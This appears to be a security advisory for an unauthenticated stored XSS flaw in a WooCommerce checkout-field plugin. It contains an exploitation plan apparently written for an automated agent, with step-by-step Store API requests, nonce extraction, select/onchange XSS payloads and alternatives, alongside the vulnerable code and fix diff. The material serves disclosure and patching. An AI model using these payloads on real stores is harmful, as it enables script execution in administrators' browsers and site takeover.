Checkout Field Editor (Checkout Manager) for WooCommerce <= 2.1.7 - Unauthenticated Stored Cross-Site Scripting via Block Checkout Custom Radio Field
Description
The Checkout Field Editor (Checkout Manager) for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via custom radio and checkboxgroup field values submitted through the WooCommerce Block Checkout Store API in all versions up to, and including, 2.1.7. This is due to the `prepare_single_field_data()` method in `class-thwcfd-block-order-data.php` first escaping values with `esc_html()` then immediately reversing the escaping with `html_entity_decode()` for radio and checkboxgroup field types, combined with a permissive `wp_kses()` allowlist in `get_allowed_html()` that explicitly permits the `<select>` element with the `onchange` event handler attribute. This makes it possible for unauthenticated attackers to inject arbitrary web scripts via the Store API checkout endpoint that execute when an administrator views the order details page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.1.7What Changed in the Fix
Changes introduced in v2.1.8
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-3231 - Unauthenticated Stored XSS in Checkout Field Editor ## 1. Vulnerability Summary The **Checkout Field Editor (Checkout Manager) for WooCommerce** plugin (up to 2.1.7) contains a stored cross-site scripting (XSS) vulnerability. The flaw exists in how the …
Show full research plan
Exploitation Research Plan: CVE-2026-3231 - Unauthenticated Stored XSS in Checkout Field Editor
1. Vulnerability Summary
The Checkout Field Editor (Checkout Manager) for WooCommerce plugin (up to 2.1.7) contains a stored cross-site scripting (XSS) vulnerability. The flaw exists in how the plugin processes custom radio and checkbox field data submitted via the WooCommerce Block Checkout Store API.
The vulnerability stems from two primary issues:
- Improper Neutralization: In
block/class-thwcfd-block-order-data.php, the methodprepare_single_field_data()(inferred from description) escapes input withesc_html()but then immediately decodes it withhtml_entity_decode()for specific field types (radioandcheckboxgroup), effectively nullifying the escaping. - Permissive Sanitization: When rendering this data on the admin order page, the plugin uses
wp_kses()with a custom allowlist returned byTHWCFD_Utils::get_allowed_html(). This allowlist explicitly permits the<select>tag and theonchangeevent handler, allowing for JavaScript execution.
2. Attack Vector Analysis
- Endpoint: WooCommerce Store API Checkout endpoint:
/wp-json/wc/store/v1/checkout - Action: Unauthenticated checkout submission.
- Vulnerable Parameter: Values within the
extensionsoradditional_fieldsobject corresponding to a customradioorcheckboxgroupfield. - Authentication: None required (Unauthenticated).
- Precondition: A custom field of type
radiomust be registered and active for the WooCommerce Checkout Block.
3. Code Flow
- Entry Point: An unauthenticated user submits a checkout request to
/wp-json/wc/store/v1/checkout. - Processing: WooCommerce Blocks processes the
extensionsdata. The plugin's block integration (likelyTHWCFD_Blockor a related data formatter) handles the custom fields. - Vulnerable Transformation: In
class-thwcfd-block-order-data.php, the value is passed throughprepare_single_field_data().$value = esc_html($value);$value = html_entity_decode($value);(forradio/checkboxgrouptypes).
- Storage: The resulting string is stored in the database as order metadata (via
update_post_meta). - Rendering (Sink): An administrator views the order in the WordPress dashboard.
- Hook:
woocommerce_admin_order_data_after_order_detailstriggersTHWCFD_Block_Order_Data::admin_order_data_after_order_details($order). - The code retrieves the stored metadata and generates HTML.
- Line 115:
echo wp_kses($html, THWCFD_Utils::get_allowed_html());
- Hook:
- Execution: Since
get_allowed_html()permits<select onchange="...">, the payload executes in the admin's browser context.
4. Nonce Acquisition Strategy
The WooCommerce Store API requires a specific nonce (X-WC-Store-API-Nonce) for POST requests (like adding to cart or checking out).
- Initialize Session: Perform a GET request to
/wp-json/wc/store/v1/cart. - Extract Nonce: The response will include a
Nonceheader. This value must be sent asX-WC-Store-API-Noncein subsequent requests. - Alternative (Browser Context): If the automated agent is using a browser, the nonce is often available in the frontend headers or can be fetched via:
// In browser console on a checkout page const nonce = document.querySelector('meta[name="wc-store-api-nonce"]')?.content;
5. Exploitation Strategy
Step 1: Add Item to Cart
You must have an item in the cart to hit the checkout endpoint.
- URL:
/wp-json/wc/store/v1/cart/add-item - Method:
POST - Headers:
Content-Type: application/json - Body:
{"id": <PRODUCT_ID>, "quantity": 1}
Step 2: Perform Checkout with XSS Payload
- URL:
/wp-json/wc/store/v1/checkout - Method:
POST - Headers:
Content-Type: application/jsonX-WC-Store-API-Nonce:<EXTRACTED_NONCE>
- Payload Construction:
The payload must use the allowed<select>tag withonchange.
Payload:<select onchange="alert('CVE-2026-3231_XSS')" autofocus><option value="1">1</option><option value="2" selected>2</option></select> - Body:
Note: The exact key inside{ "billing_address": { ... standard details ... }, "shipping_address": { ... standard details ... }, "extensions": { "thwcfe-block": { "custom_radio_field_name": "<select onchange=\"alert(document.domain)\" autofocus><option>1</option><option selected>2</option></select>" } } }extensionsdepends on the field name registered.
6. Test Data Setup
- Active Plugins: WooCommerce + Checkout Field Editor for WooCommerce (2.1.7).
- WooCommerce Setup: Create a simple product (ID 123).
- Plugin Configuration:
- Navigate to
WooCommerce->Checkout Form->Checkout Block. - Add a Radio field to the "Address" or "Additional Info" section.
- Set Name to
xss_radio_field. - Enable "Show in Admin Order Details".
- Navigate to
- Page Setup: Ensure the Checkout page is using the WooCommerce Checkout Block (not the shortcode).
7. Expected Results
- The Store API returns a
200 OKor201 Createdfor the checkout. - In the database, the order meta for
xss_radio_fieldcontains the raw<select>tag. - When an admin navigates to
wp-admin/post.php?post=<ORDER_ID>&action=edit(or the HPOS equivalent), an alert box appears showing the document domain.
8. Verification Steps
- Check Meta Storage:
wp post term list <ORDER_ID> # Or if using HPOS: wp db query "SELECT meta_value FROM wp_wc_orders_meta WHERE meta_key='thwcfe-block/xss_radio_field' AND order_id=<ORDER_ID>" - Verify Admin Rendering: Use the
http_requesttool to fetch the admin order page and check for the unescaped payload:# Check if the onchange attribute exists in the response grep "onchange=\"alert" response_body.html
9. Alternative Approaches
If the onchange event requires a manual trigger that the admin is unlikely to perform, try leveraging autofocus combined with onfocus if the allowlist is broader than documented:
- Payload:
<select onfocus="alert(1)" autofocus>
If the Store API extensions path is blocked, check if the plugin registers the fields under the standard additional_fields path in the Store API request:
{
"additional_fields": {
"thwcfe-block/xss_radio_field": "<payload>"
}
}
Summary
The Checkout Field Editor for WooCommerce plugin is vulnerable to unauthenticated stored Cross-Site Scripting (XSS) when using the WooCommerce Block Checkout. This occurs because the plugin decodes HTML entities for radio and checkbox field values and subsequently renders them using a permissive allowlist that permits the `<select>` element with the `onchange` event handler, allowing attackers to execute arbitrary JavaScript in the context of an administrator viewing the order.
Vulnerable Code
// block/class-thwcfd-block-order-data.php line 437 if($type === 'checkboxgroup' || $type === 'radio'){ $value = html_entity_decode($value); } --- // block/class-thwcfd-block-order-data.php lines 77, 114, 221 echo wp_kses($html, THWCFD_Utils::get_allowed_html());
Security Fix
@@ -74,7 +74,7 @@ <?php do_action( 'thwcfe_order_details_before_custom_fields', $order ); //echo $html; - echo wp_kses($html, THWCFD_Utils::get_allowed_html()); + echo wp_kses($html, THWCFD_Utils::get_allowed_html_order_output()); do_action( 'thwcfe_order_details_after_custom_fields', $order ); ?> </table> @@ -111,7 +111,7 @@ if($html){ echo '<p style="clear: both; margin: 0 !important;"></p>'; - echo wp_kses($html, THWCFD_Utils::get_allowed_html()); + echo wp_kses($html, THWCFD_Utils::get_allowed_html_order_output()); } } private function prepare_args_admin_order_view(){ @@ -218,7 +218,7 @@ } if($html){ //echo $html; - echo wp_kses($html, THWCFD_Utils::get_allowed_html()); + echo wp_kses($html, THWCFD_Utils::get_allowed_html_order_output()); } } private function prepare_args_order_email($sent_to_admin){ @@ -437,9 +437,9 @@ $value = esc_html($value); } } - if($type === 'checkboxgroup' || $type === 'radio'){ - $value = html_entity_decode($value); - } + // if($type === 'checkboxgroup' || $type === 'radio'){ + // $value = html_entity_decode($value); + // }
Exploit Outline
The exploit targets the WooCommerce Block Checkout Store API and requires no authentication. 1. **Prerequisites**: A custom 'radio' or 'checkboxgroup' field must be registered and configured to show in 'Admin Order Details' via the plugin settings. 2. **Session Initialization**: An attacker first performs a GET request to `/wp-json/wc/store/v1/cart` to initialize a session and retrieve the required `X-WC-Store-API-Nonce` header. 3. **Cart Setup**: The attacker adds any product to the cart via `/wp-json/wc/store/v1/cart/add-item`. 4. **Payload Injection**: The attacker submits a checkout request to `/wp-json/wc/store/v1/checkout`. The payload is placed inside the `extensions` or `additional_fields` object, keyed by the custom field's ID. 5. **Payload Shape**: The payload utilizes the `<select>` tag with an `onchange` attribute (e.g., `<select onchange="alert(document.domain)" autofocus><option selected>XSS</option></select>`). 6. **Execution**: Because the plugin decodes entities and its `wp_kses` allowlist explicitly permits `<select>` with `onchange`, the script executes automatically when an administrator views the resulting order in the WordPress dashboard.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.